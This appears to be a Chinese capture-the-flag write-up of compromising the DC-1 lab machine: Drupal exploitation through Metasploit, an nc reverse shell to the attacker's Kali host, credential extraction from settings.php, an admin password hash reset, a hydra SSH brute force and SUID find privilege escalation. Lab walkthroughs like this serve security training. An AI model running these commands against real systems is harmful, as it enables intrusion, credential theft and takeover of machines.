靶机DC-1攻防

实验环境:
DC-1与kali在同一网段:192.168.0.0/24
DC-1 MAC地址:00:0C:29:a6:cd:ce
kali IP:192.168.0.108

0x01 信息收集

使用netdiscover工具查找ip
netdiscover是一款ARP侦察工具,通过网络中的ARP包来确定IP
netdiscover -i eth0 -r 192.168.0.0/24 #i 指定网卡 r 指定网段
dc-1ip:192.168.0.119

image.png

使用nmap工具进行端口扫描
nmap -A -p- 192.168.0.119 #全端口扫描
开放端口:22 / 80
cms:Drupal7
image.png

0x02 漏洞挖掘

使用msf查找Drupal 公开漏洞
search drupal #查找drupal已知漏洞

0x03漏洞利用

使用哪个exp 根据他的时间和危害等级来判断,这里使用 4

image.png

输入以下命令

set rhosts 192.168.0.119
set vhost 192.168.0.108
exploit

成功拿到shell

用msf getshell

拿到flag1
flag1

根据flag1的提示每一个优秀的cms需要配置文件,你也是我们就要从drupal的配置文件找接下来的flag文件

0x03提权

输入shell进入shell命令行模式
进入交互式shell (登录数据库需要交互式shell)
python -c 'import pty;pty.spawn("/bin/bash")'
做反弹shell
用nc做反弹
kali:nc -lvvp 4444 #开启4444端口监听
dc-1 shell:nc -e /bin/bash 192.168.0.108 4444
drupal的配置文件路径/var/www/sites/default/setting.php发现数据库账密以及flag2

falg2/数据库账密

拿到admin账号密码

show databases;
use drupaldb;
show tables;
select * from users\G;

管理员账密

尝试修改admin密码update users set pass='123' where uid=1可以修改成功,但是无法登录,数据库的密码事宜密文的形式存贮的,所以不能直接设置密码123
drupal有自己的明文加密方式,文件路径/var/www/scripts/password-hash.sh
执行语句在/var/www目录下执行php ./scripts/password-hash.sh 123
密码123加密

修改密码成功 ,登录成功
账号admin 密码123
拿到flag3
flag3

flag4的信息只能从这句话中找,只认识passwd shadow先从这两个文件开始
发现用户flag4,包括我们第一阶段进行信息收集的时候22端口开放,这里我们直接进行爆破
passwd

爆破工具hydra
hydra -L flag4 -P /user/share/john/password.list ssh://192.168.0.119 -t 64 -f # t 线程 f 找到密码就停止爆破
密码为orange
用ssh登录ssh [email protected]
拿到flag4
flag4

查看哪些命令有root权限
find / -perm -4000 2>/dev/null

重点关注/user/bin/find

使用find调用外部命令
比如调用whoami :find -exec "whoami" \;
调用whoami

调用/bin/bash /bin/sh 调用后者,提权成功
拿到finalflag
拿到最后一个flag

你可能感兴趣的:(靶机DC-1攻防)